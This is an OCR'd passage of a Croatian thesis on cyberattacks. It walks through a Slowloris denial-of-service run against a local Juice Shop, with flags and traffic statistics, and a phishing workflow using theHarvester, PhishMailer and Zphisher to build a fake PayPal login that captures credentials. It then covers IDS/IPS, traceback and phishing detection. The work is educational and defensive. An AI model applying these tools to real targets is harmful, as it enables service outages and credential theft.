napadi temeljeni na SSL-u: Secure Socket Layer je metoda Sifriranja koju koriste razni
mrezni komunikacijski protokoli. DDoS napadi temeljeni na SSL-u se mogu izvesti na
mnogo nacina, na primjer putem SSL mehanizma rukovanja, slanjem laznih podataka na
SSL posluzitelj ili zlouporabom odredenih funkcija povezanih sa SSL Sifriranjem. Napad
temeljen na SSL-u se takoder moze odnositi i na napad koji se provodi preko SSL Sifriranog
prometa, Sto ga ¢ini zahtjevnim za prepoznavanje

napadi na mrezne procese U aplikacijskom sloju: za ovu vrstu napada se moze re¢i da je
kombinacija svih prethodnih. Ne ciljaju samo HTTP protokol, nego i HTTPS, DNS,
SMTP, FTP, VOIP i ostale aplikacijske protokole koji su ranjivi na DDoS napade. HTTP

protokol je najces¢a meta za napadace jer je Siroko koriSten protokol na Internetu.

Napadi poplavljivanja su dosta Cesti jer nisu zahtjevni, a jako su ucinkoviti. Cilj poplavljivanja

zahtjevima je preopterecenje Sto veceg resursa sustava slanjem prekomjerne koli¢ine zahtjeva za

uslugu. Generalno, sustav ne moZe upravljati tom koli¢inom zahtjeva, te ih stavlja u red cekanja

kada stignu. Kada se red zahtjeva prepuni, svi naredni zahtjevi se odbijaju. Jedna od najcesc¢ih

vrsta ovog napada je poplavljivanje HTTP zahtjevima. Poplavljivanje HTTP zahtjevima utjece i

na propusnost mreze i na resurse sustava zrtve. Medutim, primarna meta ovog napada su resursi

sustava. NajceSc¢e se provodi koriste¢i GET ili POST zahtjeve. Prekomjerna upotreba GET

zahtjeva moze preopteretiti i sustavne i mrezne resurse pruzatelja usluga. POST zahtjevi se

uglavnom koriste za kompleksnije zadatke na posluzitelju, poput spremanja podataka u bazu
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podataka. Iz navedenog razloga, POST zahtjevi su puno ucinkovitiji u preopterecivanju

posluzitelja za razliku od GET zahtjeva [41].
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Slika 32. Graf napadapoplavljivanja sHTTP GET zahtjevima [39]
Slika 32. prikazuje graf napada poplavljivanja s HTTP GET zahtjevima. lako je prikazan samo

jedan sustav s kojeg se $alju zahtjevi, u napadu uglavnom sudjeluje mnogo vise.

3.4.2. Provedba i analiza posljedica napada

Posto raspodijeljeni napad uskracivanja usluge zahtijeva veci broj racunalnih sustava, $to je dosta
zahtjevno za prikazivanje, u svrhu primjera provesti ¢e se napad uskracivanja usluge s jednog
rac¢unala, $to je zapravo DoS. Kako bi ovakav napad postao DDoS, potrebno ga je provesti s vise
razliCitih racunala u isto vrijeme. Ranjiva aplikacija je ponovno OWASP Juice Shop. Za napad ¢e
se koristiti alat Slowloris. Slowloris je ujedno i vrsta DDoS napada koju koristi navedeni alat.
Slowloris je napad na aplikacijski sloj mreze koji preplavljuje posluZitelj koristenjem djelomi¢nih
HTTP zahtjeva. Spada u kategoriju niskih i sporih napada i funkcionira tako da otvara veze s
ciljanim posluziteljem i drzi ih otvorenim koliko god je to moguce. Slowloris koristi malu koli¢inu
propusnosti 1 pokuSava iskoristiti resurse posluzitelja koriste¢i zahtjeve koji su sporiji od
uobicajenih, ali inace se ponasaju kao normalan promet. Ciljani posluzitelj ima ograniceni broj niti

za rukovanje istovremenim vezama. Svaka nit ¢e ¢ekati sve dok se zahtjev ne izvrsi, $to se naravno
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nikada nece dogoditi. Kada posluzitel] dode do maksimalnog broja otvorenih veza, svaku

naknadnu vezu ¢e odbiti, Sto rezultira uskra¢ivanjem usluge [42].

~/slowloris
python3 slowloris.py --help
usage: slowloris.py [-h] [-p PORT] [-s SOCKETS] [-v] [-ual
[-x] [--proxy-host PROXY_HOST]
[--proxy-port PROXY_PORT] [--https]
[--sleeptime SLEEPTIME]
[host]

Slowloris, low bandwidth stress test tool for websites

positional arguments:
host Host to perform stress test on

options:
-h, --help show this help message and exit
-p PORT, --port PORT Port of webserver, usually 8@

-5 SOCKETS, --sockets SOCKETS
Number of sockets to use in the test
-v, --verbose Increases logging
-ua, --randuseragents
Randomizes user-agents with each
request
-X, ——Useproxy Use a SOCKSS proxy for connecting
--proxy-host PROXY_HOST
SOCKS5 proxy host
--proxy-port PROXY_PORT
SOCKSS proxy port
--https Use HTTPS for the requests
--sleeptime SLEEPTIME
Time to sleep between each header
sent.

Slika 33. Ispis moguénostiSlowloris alata

Slika 33. prikazuje moguénosti 1 nacin koriStenja Slowloris alata.

~/slowloris

n slowloris.py localhost --

Slika 34. Naredba za izvrSavanje Slowloris napada
Slika 34. prikazuje naredbu i potrebne zastavice za izvrSavanje Slowloris napada. Na pocetku
naredbe je potrebno definirati URL mete, $to je u ovom slucaju localhost. Kadase koristi localhost,
potrebno je definirati i port, koji je uglavnom i u ovom sluc¢aju 3000. Zastavica --randuseragents

oznaCuje koriStenje nasumi¢nih User-Agent zaglavlja u zahtjevu. User-Agent zaglavlje je
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karakteristiCan niz znakova koji sadrzi informacije o sustavu korisniku koji Salje zahtjev. Broj
socket-a se definira zastavicom --sockets, te je isti postavljen na 1000 radi slanja veceg broja
zahtjeva. Zastavica --sleeptime definira vrijeme izmedu svakog zahtjeva, u ovom slucaju je
postavljena na 0, ali ju je pozeljno postaviti na veci broj kako bi se smanjila mogucnost otkrivanja.
Zadnja zastavica je --verbose, koja povecava ispis informacija tijekom izvodenja napada. Za $to
bolju analizu posljedica napada, potrebno je provesti analizu mreznih paketa pomoc¢i alata
Wireshark. Posto ovaj napad spada u kategoriju niskih i sporih napada, pozeljno je koristiti manje
socket-a idulje vrijeme izmedu slanja zahtjeva. Radi primjera, navedene vrijednosti su prilagodene

kako bi se Sto efikasnije prikazale moguénosti napada.

Statistics

Measurement
Packets

Time span, s
Average pps

Average packet size, B
Bytes

Average bytes/s
Average bitsfs

Captured
8670167

119.521
72541.1

74
641406526
5,366 k
42M

Displayed Marked
8670167 (100.0%)

119.521

72541.1

74

641406526 (100.0%)

5,366 k

42 M

Slika 35. Statistika poslanih paketa tijekom DoSnapada
Slika 35. prikazuje statisticke podatke o poslanim mreZznim paketima tijekom DoS napada. Poslano
je preko 8,5 milijuna paketa u oba smjera unutar dvije minute, koliko je i trajao napad. Ovaj broj
predstavlja razmijenjeni broj paketa izmedu stranice i jednog korisnika, §to je iznimno puno.
Tijekom normalnog koriStenja stranice unutar dvije minute, broj razmijenjenih paketa izmedu

korisnika i stranice je otprilike 1600, ovisno o radnjama korisnika.

Topic f ltem “ Count  Average MinVal Max Val Rate (ms) Percent Burst Rate Burst Start
~ Total HTTP Packets 2376005 257959 100%  70.3200 62.085
Other HTTP Packets 2373007 25.7634 99.87% 70.3200 62.085
~ HTTP Response Packets 2998 0.0325 0.13%  5.8200 119.365
777: broken 0 0.0000 0.00% - -
S Server Error 0 0.0000 0.00% -

~ 4o Client Error

2998

431 Request Header Fields Too Large 1998

400 Bad Request

3xx: Redirection
2o Success

Toc: Informational
HTTP Request Packets

1000
0]

0]
0]
0]

0.0325
0.0217

0.0109
0.0000
0.0000
0.0000
0.0000

100.00% 5.8200
66.64% 4.8900
33.36% 5.8200
0.00% -
0.00% -
0.00% -
0.00% -

Slika 36. Statisticki podacio HTTP paketima

119.365
43.622
119.365
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Slika 36. prikazuje statisticke podatke o poslanim HTTP paketima tijekom DoS napada. Posluzitelj
aplikacije je poslao 2998 HTTP paketa odgovora, od ¢ega su svi klasificirani kao pogreska na
strani klijenta, $to je ocekivano jer na takav nacin funkcionira ova vrsta napada. Tijekom
normalnog koriStenja stranice unutar dvije minute, posluzitelj posalje oko 100 HTTP paketa
odgovora jednom korisniku, ovisno o radnjama korisnika. Kao §to je i prethodnonavedeno ovakav
nacin izvodenja napada se klasificira kao DoS, jer je uklju¢en samo jedan radunalni sustav. Cak i
tijekom koristenja jednog racunalnog sustava, napad je bio dosta ucinkovit, sto se moze zakljuciti
prema analizi poslanih mreznih paketa. Tijekom trajanja napada stranica je bila znatno usporena,
1 vrijeme odgovora na trivijalne zahtjeve se iznimno oduzilo, ¢ak do razine da se stranica nije
mogla koristiti. Kada bi se u ovakav napad ukljucilo viSe razli¢itih racunalnih sustava, posljedice

bi bile puno ozbiljnije.
3.4.3. Protumjere i strategije za zastitu

Izgradnja adekvatne obrane od DDoS napada je zahtjevan i kompleksan postupak za bilo koje
poduzecée. Ako napadaci posjeduju visoku razinu znanja, postoji mogucnost dai visoko razvijeni
obrambeni sustav nece biti dovoljan. Nove vrste DDoS napada se neprestano razvijaju, sto znaci
da se 1 obrambeni sustavi trebaju prilagodavati istom brzinom. Rano prepoznavanje napada je
dosta bitno kako bi se maksimalno mogle ublaziti posljedice napada. Isto tako, sustav za
prepoznavanje napada ne bi trebao uzrokovati veliku kolateralnu Stetu, dakle trebao bi prepoznati
pokusaj DDoS napada bez utjecaja na ostali mrezni promet. Sustav obrane bi se trebao sastojati
od modula za nadzor, prepoznavanje i djelovanje. Nadzor mreze se odnosi na prikupljanje
informacija o mreznog prometu i o svim mreznim ¢vorovima koji mogu biti meta napada. Takoder,
uz nadzor mreZe, bitna je i analiza, kojom se moze identificirati neautorizirane usluge koje se
koriste na mrezi. Primarni cilj modula za prepoznavanje je identifikacija potencijalnih prijetnji,
biljeZenje informacija te prijava sumnjivih radnji. Uz navedenu svrhu, modul za prepoznavanje se
moze koristiti i za prepoznavanje problema unutar sigurnosnih pravila i politika, dokumentiranje
postojeéih prijetnji i upozoravanje pojedinaca koji krSe sigurnosna pravila. Modul djelovanja se
sastoji od definiranih postupaka za zaustavljanje i1 ublazavanje posljedica poznatih DDoS napada.
Sustav za otkrivanje upada (engl. intrusion detection system) ili IDS koristi se za upravljanje
sumnjivim radnjama, u obliku prikazivanja upozorenja, biljezenja informacija o radnji ili
obavjestavanju odgovorne osobe za kiberneticku sigurnost. Bolja opcija od 1DS-a je sustav za
spre¢avanje upada (engl. intrusion prevention system) ili IPS. Oba sustava nadziru mrezni promet

radizlonamjernih aktivnosti, medutim za razliku od IDS-a, IPS ima i moguénost obrane od napada.
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Uglavnom, IPS to ¢ini izdavanjem upozorenja, odbacivanjem zlonamjernih paketa, ponovnim

postavljanjem veze te blokiranjem prometa s odredenih IP adresa [43].

FIREWALL
> IPS P 9
l‘ @.-@_ INTERNET
Switch Router S '
" IDS
FIREWALL
i o —
i' INTERNET <
o

Switch Router

Slika 37. Dijagram koji prikazuje razliku izmedu IPS-a i IDS-a [44]
Slika 37. jasno prikazuje razliku izmedu IPS-ai IDS-ate je jasno zasto je pozeljnije Kkoristiti IPS.
Za §to uCinkovitiju obranu, potrebno je otkriti izvore napada. Budu¢i da je DDoS koordinirani
napad, nije jednostavno identificirati izvore napade u stvarnom vremenu. Nadalje, laziranje IP
adresa u zlonamjernim paketima uvelike otezava obranu od DDoS napada. IP prac¢enje do izvora
(engl. 1P traceback) je jedna od iznimno korisnih strategija u obrani od DDoS napada. Otkrivanje
izvora napada moze jako dugo potrajati ako postoji dosta izvora i posrednika u napadu. Iz
navedenog razloga uvedena je tehnika oznacavanja paketa (engl. packet marking) gdje usmjerivac
oznaCava pakete za prosljedivanje s jedinstvenom adresom. Stoga, kada dode do napada, putem
informacija povezanih s oznacenim paketima moze se do¢i do izvora napada. Postoje dva pristupa
kod oznacavanja paketa, deterministicki (engl. deterministic) ili DPM i vjerojatnosni (engl.
probabilistic) ili PPM. PPM pristup ne zahtijeva prethodno poznavanje cijele mreze za izgradnju
stabla napada, to jest mape usmjerivaca koriStenih u napadu. MozZe se koristiti tijekom napada 1
nakon napada. Kod PPM-a IP zaglavlje ima samo jedno polje za pohranu informacija za
oznacavanje. Svaki usmjeriva¢ izmedu izvora i odrediSta upisuje svoju jedinstvenu
identifikacijsku vrijednost u zaglavlje paketa s odredenom vjerojatnoséu. Tako prepisuje sve
prethodno pohranjene informacije. Na temelju pohranjenih informacija moguce je rekonstruirati

put od izvora do odredista. Tijekom DDoS napada, rekonstrukcija poruka se moze obaviti putem
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hash funkcije uizvornoj poruci koju je poslao usmjeriva¢. Znacajno ograni¢enje PPM pristupa su

veliki troS§kovi potrebni za pravilnu rekonstrukciju puta [43].

[ Communication Path |

Routers . .
Source N Destination

Markedby A [ A |=>[A®B |t - > 1 >[ A®B | d=3
Marked by B | B |=[B®C ] > 1 >[ BEC | d=2

Marked by C [ ¢ |=[c@D |==[c@D | d=1
Marked by D L2 = B | d=0
__Flow of Marking Data received

at Destination

Slika 38. Dijagram nacina oznacavanja paketa PPM pristupom [45]
Slika 38. prikazuje na koji na¢in se oznacuju paketi koristenjem PPM tehnike. Rekonstrukcija puta
na temelju pohranjenih informacija se odvija u suprotnom smjeru, od posljednjeg primljenog
paketa do prvog primljenog. PPM zahtijeva znacajnu koli¢inu paketa koja se treba prikupiti prije
procesa rekonstrukcije. Kako se povecava duljina puta, potreban broj paketa za rekonstrukciju
takoder raste. Iz navedenog razloga, pozeljnije je koristiti deterministi¢ki pristup jer je isti puno
efikasniji. Kod deterministi¢kog pristupa, svaki paket je oznacen potpisom prvog uredaja prilikom
ulaska u mrezu. Ova oznaka ¢e se mijenjati prolaskom kroz svaki usmjeriva¢, sve dok paket ne
stigne do mete. Kada paketi stignu do mete, svaki od njih sadrzi potpune informacije o putu kroz
mrezu. To se zove deterministicko oznacavanje buduci da se pohranjuju sve informacije o putu u
svaki paket. Kod DPM pristupa se moze koristiti bilo koji paket za rekonstrukciju putabez cekanja
za prikupljanje svih paketa, 1 bez obzira na duljinu puta [46]. DPM pristup rjeSava problem
prevelikih troskova i vremena prilikom koriStenja PPM pristupa. lako PPM nije nuzno losa opcija,

iz svih navedenih razloga je jasno zasto je DPM ipak efikasnija i bolja opcija u veéini slucajeva.
3.5. Krada identiteta

3.5.1. Opis i tehnike napada

Krada identiteta (engl. phishing) se definira kao oblik drustvenog inzenjeringa u kojemu napadac

(engl. phisher) pokusava prijevarom doc¢i do povijerljivih ili osjetljivih podataka korisnika
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oponasanjem komunikacije od strane pouzdane ili javne organizacije. Prikupljene informacije se
koriste za broja kriminalna djela ukljucujuéi lazno predstavljanje, prijevare, prodaju podataka,
Sirenje zlonamjernog softvera i sliéno. Utvrdivanje to¢nog troSka Stete uzrokovanog napadima
krade identiteta nije trivijalan zadatak, buduéi da korporacije i pojedinci Cesto ne zele priznati
kadasu postali meta napada zbog straha od poniZenja ili gubitka kredibiliteta, financijskih troskova

ili pravne odgovornosti [47].

[PayPal]: Your account access has been limited

Team Support services@paypal-accounts.com
tome

' PayPal

Dear PayPal customer,

Your PayPal account is limited, You have 24 hours to solve the
problem or your account will be permanetly disabled.

We are sorry to inform you that you ne longer have access to
PayPal's advantages like purchasing, and sending and receiving
money.

Why is my PayPal account limited?
We believe that your account is in danger from unauthorized users.

What can | do to resclve the problem?
You have to confirm all of your account details on our secured
server by clicking the link below and following the steps.

Confirm Your Information

Slika 39. Phishing elektroni¢ka poruka [48]
Slika 39. prikazuje primjer phishing elektroni¢ke poruke, za koju izgleda da je poslana od strane
PayPal-a. Nadalje, postoje tri vrste troskova koje treba razmotriti, a to su izravni, neizravni te
oportunitetni troskovi. [zravni troskovi su oni koji su direktno uzrokovani napadom, to jest ukupna
vrijednost novca i dobara ukradena tijekom phishing napada. Neizravni troskovi su troSkovi
potrebni za popravljanje Stete i ublazavanje posljedica nakon uspjesnog phishing napada, ali ovi
troskovi ne ukljuc¢uju novac i dobra ukradena tijekom napada. Primjer neizravnih troskova su
troskovi koje moraju snositi pruzatelji odredenih usluga kada dode do ugrozavanja podataka
njihovih korisnika, povezanih s korisnickom podrSkom i pozivima koji su nuzni za obavljanje u
svrhu ponovnog postavljanja lozinki korisnika, zamrzavanja korisni¢kih rac¢una i slicno. Neizravni
troskovi takoder mogu ukljucivati i vrijeme i novac utroSen na povrat podataka individualca ili
poduzecéa, pracenje neautoriziranih uplata i slicno. Oportunitetni troskovi su povezani S
propustenim prilikama jer ljudi obijaju koristiti Internet usluge zbog straha od krade identiteta ili
bilo kojih drugih razloga. Na primjer, ako korisnik ne zeli koristiti usluge Internet bankarstva zbog

straha od mogucéeg gubitka financijskih sredstava, tada su oportunitetni troskovi za banku svi
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dodatni troskovi poslovanja s klijentom u banci. Slicno tome, sam klijent nema moguénost
obavljanja mnogih bankarskih usluga preko Interneta, stoga mora troSiti i vrijeme i novac za
odlazak u banku. Oportunitetni tro§kovi povezani S gubitkom povjerenja korisnika u Internet
trgovine su posebno naglaseni kod trgovaca koji posluju isklju¢ivo preko Interneta. Takoder,
oportunitetni troskovi se odnose na potencijalni gubitak buducih korisnika ako poduzece ima losu
reputaciju zbog odredenih phishing napada [47]. Cesti cilj napadada prilikom slanja phishing
elektroni¢ke poruke je instalacija zlonamjernog softvera na raCunalni sustav Zrtve. Zlonamjerni

softver moze imati razli¢ite svrhe, ovisno o ciljevima napadaca.

NajceSce priloZenitipovi zlonamjernih datoteka u elektronickoj

poruci
30,0%
26,0%
25,0%
22,0%
20,0%
17,0%
15,0%
15,0%
10,0% 9,0%
5,0% 4,0% 3,0% 3,0%
I B
0,0% || —
exe pdf xls xlsx xlsm docx rtf doc html vbs

M Tip datoteke

Grafikon 6. Najéesce prilozeni tipovi zlonamjernih datoteka u elektroni¢koj poruci [15]
Grafikon 6. prikazuje najcesce prilozene tipove zlonamjernih datoteka u elektronickoj poruci kod
phishing napada. Najces¢e prilozeni tip zlonamjerne datoteke je ocekivano exe datoteka. Exe
oznacCava izvrSnu datoteku, Sto je datoteka koja izvrSava odredeni programski kod ili slijed
instrukcija kada se pokrene. Ako je navedena datoteka poslana sa sumnjive elektronicke adrese,
postoji velika moguc¢nost da sadrzi zlonamjerni softver. Zlonamjerni softver se moze §iriti i putem
drugih tipova datoteka, kako je i prikazano na grafikonu 6., PDF datoteke mogu imati skriveni
JavaScript programski kod, koji ima mogucnost iskoriStavanja ranjivosti u PDF-u. Generalno,
svaki tip datoteke moze imati nekakav oblik zlonamjernog programskog koda, koji se uglavnom

pokrece kada korisnik otvori datoteku.

53



3.5.2. Provedba i analiza posljedica napada

Ovisno o meti i ciljevima, phishing napad se moze provesti bez uporabe alata za automatizaciju
procesa. Medutim, postoje razni alati koji uvelike olaksavaju provedbu phishing napada. Bitan
prvi korak prije svakog napada, a pogotovo phishing-a je prikupljanje informacija o meti.
Navedeni korak se moze obaviti ru¢no, istrazivanjem drusStvenih stranica mete, $to ponekad moze
dosta potrajati. 1z toga razloga u svrhu primjera koristit ¢e se alat theHarvester. TheHarvester se
koristi za prikupljanje relevantnih informacija o meti, koje se mogu iskoristiti za pocetne vektore

napada. TheHarvester prikuplja imena, adrese elektronicke poste, IP adrese i sli¢no.

theHarvester --help
B R L R et e i et e

P O I I I N O A N/
AP T O VO | 4 W Vo I
* theHarvester 4.3.0

* Coded by Christian Martorella

* Edge-Security Research

* cmartorellagedge-security.com

*

R AR KRR AR AR A AR R A& R A R

usage: theHarvester [-h] -d DOMAIN [-1 LIMIT] [-S START] [-p] [-s] [--screenshot SCREENSHOT] [-v] [-e DNS_SERVER] [-t] [-r [DNS_RESOLVE]] [-n] [-c] [-f FILENAME] [-b SOURCE]

*
*
*
*
*
*
*
*
*
*
*

theHarvester is used to gather open source intelligence (OSINT) on a company or domain.

options:
-h, —-help show this help message and exit
-d DOMAIN, --domain DOMAIN
Company name or domain to search.
-1 LINIT, --limit LIMIT
Limit the number of search results, default=500.
-S START, --start START
Start with result number X, default=@.
-p, --proxies Use proxies for requests, enter proxies in proxies.yaml.
-s, --shodan Use Shodan to query discovered hosts.
--screenshot SCREENSHOT
Take screenshots of resolved domains specify output directory: --screenshot output_directory
-v, --virtual-host Verify host name via DNS resolution and search for virtual hosts.
-e DNS_SERVER, --dns-server DNS_SERVER
DNS server to use for lookup.
-t, --take-over Check for takeovers.
-r [DNS_RESOLVE], --dns-resolve [DNS_RESOLVE]
Perform DNS resolution on subdomains with a resolver list or passed in resolvers, default False.
-n, --dns-lookup Enable DNS server lookup, default False.
-c, --dns-brute Perform a DNS brute force on the domain.
-f FILENAME, --filename FILENAME
Save the results to an XML and JSON file.
-b SOURCE, --source SOURCE
anubis, baidu, bevigil, binaryedge, bing, bingapi, bufferoverun, brave, censys, certspotter, criminalip, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code,
hackertarget, hunter, hunterhow, intelx, otx, pentesttools, projectdiscovery, rapiddns, rocketreach, securityTrails, sitedossier, subdomainfinderc99, threatminer, urlscan,
virustotal, yahoo, zoomeye

Slika 40. Ispis moguénostitheHarvesteralata
Slika 40. prikazuje ispis moguénosti alata theHarvester nakon upisivanja naredbe theHarvester --

help.

)ain stranica-mete --source all

Slika 41. TheHarvesternaredba za prikupljanje informacija o meti
Slika 41. prikazuje theHarvester naredbu za prikupljanje relevantnih informacija o meti. Zastavica
--domain definira domenu Internet stranice mete, a vrijednost je u svrhu primjera postavljena na
stranica-mete. Zastavica --source definira na kojim javnim uslugama e se prikupljati informacije,
u ovom slucaju vrijednost je postavljena na all kako bi se ukljucile sve javne usluge koje
theHarvester moze pretraziti. Nakon pretrage theHarvester ispisuje sve pronadene informacije, a

postoji 1 mogucnost ispisa u datoteku za laksu daljnju obradu. Nakon potencijalnog pronalaska
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adresa elektronicke poste, iduéi korak je slanje phishing elektronicke poruke. Kao §to je vec

navedeno, slanje poruke se moze obaviti ru¢no, no postoje i alati koji automatiziraju proces. Jedan

od njih je PhishMailer, alat za izradu predloska elektronicke poruke na temelju popularnih

drustvenih mreza. Podrzan je velik broj drustvenih mreza, ukljucuju¢i Facebook, Instagram,

Twitter i sli¢no.

PhishMailer Version 2.0
Instagram: bizk3n
bizkenaprotonmail.com

nnnnnnnnnnnnnnnn\

nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn\

AR

ARAAAAAAARAAAARA

['] More Versions Will Come Soon Stay Updated, Follow My Github

Instagram [12]
Facebook [13]
Gmail [14]
Gmail (simple) [15]
Twitter [16]
Snapchat [17]
Snapchat (simple) [18]
Steam [19]
Dropbox [20]
[1e] Linkedin [21]
[11] Playstation

[30] send Phishing Email
[69] Bypass Method

[88] Use Another Language
[99]

[1337] Info

[4444] ToDo List

Paypal
Discord
Spotify
Blockchain
RiotGames
Rockstar
AskFmM
@0oWebhost
Dreamteam
Gamehag

[+] Your Templates Will Be Saved Here /root/PhishMailer/"TemplateName.html"

Slika 42. Ispis moguénosti PhishMailer-a

Slika 42. prikazuje moguc¢nosti PhishMailer-a, koje se ispisuju nakon pokretanja alata. Nakon

odabira na temelju koje stranice ¢e se izraditi predlozak, potrebno je postaviti razne opcije za

izradu ovisno o kojoj stranici je rije¢. Nakon uspjeSne izrade, predlozak se sprema na Zeljeno

mjesto na racunalu, te se moze koristiti za daljnje korake u napadu.
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PayPal

An unknown device trying to access to your
account :

Location : Croatia

IP adress : 127.0. 0.1
Navigator : Chrome (Windows)

Please confirm your information for security
measures :

Slika 43. Predlozak phishing elektroni¢ke poruke za PayPal
Slika 43. prikazuje napravljeni predlozak elektronicke poruke za koju izgleda da je dosla od strane
PayPal-a. Opcije koje su vidljive na slici, poput lokacije i IP adrese se mogu postaviti na Zeljene
vrijednosti prema potrebi. Radi primjera, IP adresa je postavljena na adresu lokalnog domacina.
Idud¢i korak ovisi o cilju napada, najcesce je preusmjeravanje mete na odredeni URL, na kojemu
se nalazi lazna stranica identi¢na odredenoj pravoj stranici. Alat Zphisher nudi moguc¢nosti poput

izrade lazne stranice za prijavu, biljezenja podataka za prijavu zrtve i slicno.

by htr-tech (tahmid.rayat)
An Attack For Your Victim

Twitch
Pinterest

Roblox

Exit

Slika 44. Mogu¢nosti Zphisher alata
Slika 44. prikazuje ispis mogucnosti nakon pokretanja Zphisher alata. Koristenjem navedenog
alata se mogu izraditi lazne stranice za prijavu koje su identi¢ne popularnim stranicama. U svrhu

primjera izradit ¢e se PayPal stranica.
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Login - Paypal

' PayPal

Password

Having trouble logging in?

Sign Up

Slika 45. Lazna PayPalstranica za prijavu

Slika 45. prikazuje laznu PayPal stranicu za prijavu napravljenu pomoc¢u Zphisher-a. Stranica je

postavljena lokalno, no alat nudi razne moguénosti za postavljanje stranice.

Suc fully
Waiting for Login Info,
Victim IP Fou

Victim's IP :

auth/ip.txt

Slika 46. Zabiljezeni podatciZrtve
Slika 46. prikazuje zabiljezene podatke za prijavu i IP adresu zrtve. Kada Zrtva stisne na odredeni
zlonamjerni link, napadacu se Salju podatcio IP adresi Zrtve. Isto tako, nakon Sto zrtva upiSe svoje
podatke za prijavu na laznu stranicu, podatci se Salju napadacu, ispisuju i1 spremaju na zeljeno

mjesto. Nakon upisa podataka, zrtvu se preusmjerava na pravu stranicu drustvene mreze.
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3.5.3. Protumjere i strategije za zastitu

Glavna i ¢esto jedina potrebna protumjera za phishing napade je kriticko razmisljanje prilikom
koristenja Internet usluga. Iako se navedena protumjera moze klasificirati kao protumjera protiv
bilo koje vrste kibernetickih napada, kod phishing napada je najizrazenija. Za uspje$nu obranu od
phishing napada potrebno je razumjeti kako su najéesce strukturirane phishing elektroni¢ke poruke

te koji znakovi upuéuju na potencijalni phishing napad.

A
L} o ¢

n illegit r

From: Security Bank (3ccounts Securitybank@gmail.com)  m— af '"?Isalt'mzl: 0
nfamiliar addr

Subject: Action Required! unfamiliar address

a sense of urgency

Dear valued customer, 5 2 generic greeting
B 3
; g S . or salutation
You are require to update your account information immediately to
prevent account termination. Please follow link to update password
information and verify your email address:
v securitybank netfinfo suspicious links

R

a or links that
[ hep 7w matvare commackpto_|

don't match the

spelling & ) . destination
grammar mistakes Please be sure to read the updated privacy policies in the attached document
Thanks,
Security Bank Account
unexpected
attachments
privacypdf exe 2> 3 3
ﬂ ROVAQYDQL.aXQ »  (especially files

ending in .exe)

Slika 47. Znakovikoju upu¢uju na potencijalnu phishing elektroni¢ku poruku [49]

Slika 47. prikazuje elektronicku poruku s jasno istaknutim znakovima koji ukazuju na moguci
pokusaj phishing napada. Postoji dosta znakova koji upuéuju na pokusaj phishing napada,
ukljucujuéi sljedece:

e nepoznata adresa elektronicke poste

e neuskladena domena elektronicke poste sa sadrzajem poruke

e neutralan pozdrav

e osjecaj uzurbanosti

e pravopisne i gramaticke pogreske

e neuobicajeni ili neocekivani zahtjevi

e sumnjivi linkovi ili prilozi.
U slucaju da elektronicka poruka sadrzi neke ili veé¢inu navedenih znakova, to ne mora nuzno
znaciti daje u pitanju phishing napad. Medutim, i dalje je potrebno pazljivo rukovati s linkovima
i prilozima u poruci. Potpuno oslanjanje na prepoznavanje znakova phishing poruka, ponekad nije

dovoljno jer kiberneticki kriminalci neprestano pronalaze nove tehnike za izradu phishing poruka.
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U slucajevima gdje je potrebna visa razina zastite, potrebno je koristiti i naprednije tehnike

otkrivanja phishing poruka.

Anti-phishing
Solution

Content Based Non-Content
Phishing Based Phishing
Detection Detection
ir i Website & Email based
. . Website Content, Email Content DNS Phishing Detction
Social Media Based Phishing Based Phishing
Detection Detection
! 1 1 ¥ ¥ “'_1' Blacklist
Spam URL Spelling & o
‘ Image. | URL_ ‘ Texl_ Filtering L’\nalysis Grammar Whitelist
Analysis Analysis Analysis Correction_| Domain
Popularity
Pattern il
Text Content L Form Filling
i P Blockch: Dummy
Similarity [«—| ockchain Content

(keywords) Filling
" Similarity

Vsqal‘cu_ntem Machine User Website
Similarity Rating

(Images & Logos) Learning
Metadata

Rule Based

(Heuristics /

Hashing
Based

Crowdsourcing

One Time

Password

DNS

Slika 48. Rjesenja za otkrivanje phishing poruka [50]
Slika 48. prikazuje podjelu rjeSenja za otkrivanje phishing poruka. Svako rjeSenje ima svoje
prednostii nedostatke te je prije implementacije bilo kojeg potrebno to¢no razumjeti na koji nacin
funkcionira. Automatsko otkrivanje phishing poruka postoji na razini pruzatelja usluga
elektroni¢ke poste, pruzatelja Internet usluga te kao dio preglednika u obliku raznih alata ili
prosirenja. Alati za automatsko otkrivanje phishing elektronic¢kih poruka se temeljne na tehnikama
strojnog ucenja, statisticke klasifikacije 1 filtriranja. Svi navedeni pristupi imaju razliCite
ucinkovitosti jer prijetnje sve viSe napreduju. Nadalje, kriva klasifikacija elektronicke poruke
moze utjecati na pouzdanost usluge. Protumjere za phishing napade u Internet preglednicima su
implementirane u obliku izrade crnog popisa stranica, analiziranje URL-a i imena domene,
usporedba izgleda s potvrdenim phishing stranicama te analiza sadrzaja stranice. PruZatelji Internet
usluga koriste slicne tehnike za otkrivanje phishing stranica te mogu upozoriti korisnike prije
pristupa potencijalnim phishing stranicama [51]. Takoder, postoji i moguénost razvijanja vlastitih
metoda otkrivanja phishing napada prema potrebi, koje se mogu temeljiti na tehnikama strojnog
ucenja i povratnim informacijama zaposlenika o potencijalnim pokusajima phishing-a. Poduzeéa
mogu testirati razinu otpora na phishing napade koriStenjem razli¢itih razvojnih okvira za

simulaciju phishing napada. Putem istih dobiva se detaljan uvid u razinu znanja zaposlenika o
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kiberneti¢kim prijetnjama te na kojim podrucjima je potrebna dodatna edukacija. Jedan od takvih
razvojnih okvira je Gophish.

Results for Example Campaign
EEEEE

Email Opened Clicked Link Submitted Data Email Reported

Details

First Name

Reported

Slika 49. Rezultati Gophish phishing simulacije [52]
Slika 49. prikazuje primjer rezultata Gophish simulacije. Razvojni okviri za provedbu phishing
simulacija poput Gophish-a, pruzaju detaljna izvje$¢a o kibernetickom znanju zaposlenika.
Izvjeséa prikazuju podatke o tome koliko je elektronickih poruka poslano, koliko je zaposlenika
otvorilo poruku, koliko je kliknulo na link sadrzan unutar poruke, koliko je unijelo svoje osjetljive

podatke, koliko je zaposlenika prijavilo pokusaj phishing-a i sli¢no.
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4. GENERALNE PROTUMJERE ZA OBRANU OD KIBERNETICKIH
NAPADA

Generalne protumjere se odnose na odredene tehnike i strategije koje su ucinkovite u obrani od
svih vrsta kibernetickih napada. Naravno, posto se kiberneticki napadi razviju neprestano, nije
moguce imati generalno rjeSenje koje moze zaustaviti svaku vrstu napada s jednakom
ucinkovitos¢u, no trebalo bi mo¢i otkriti 1 zaustaviti trivijalne pokusaje napada. Generalno rjeSenje
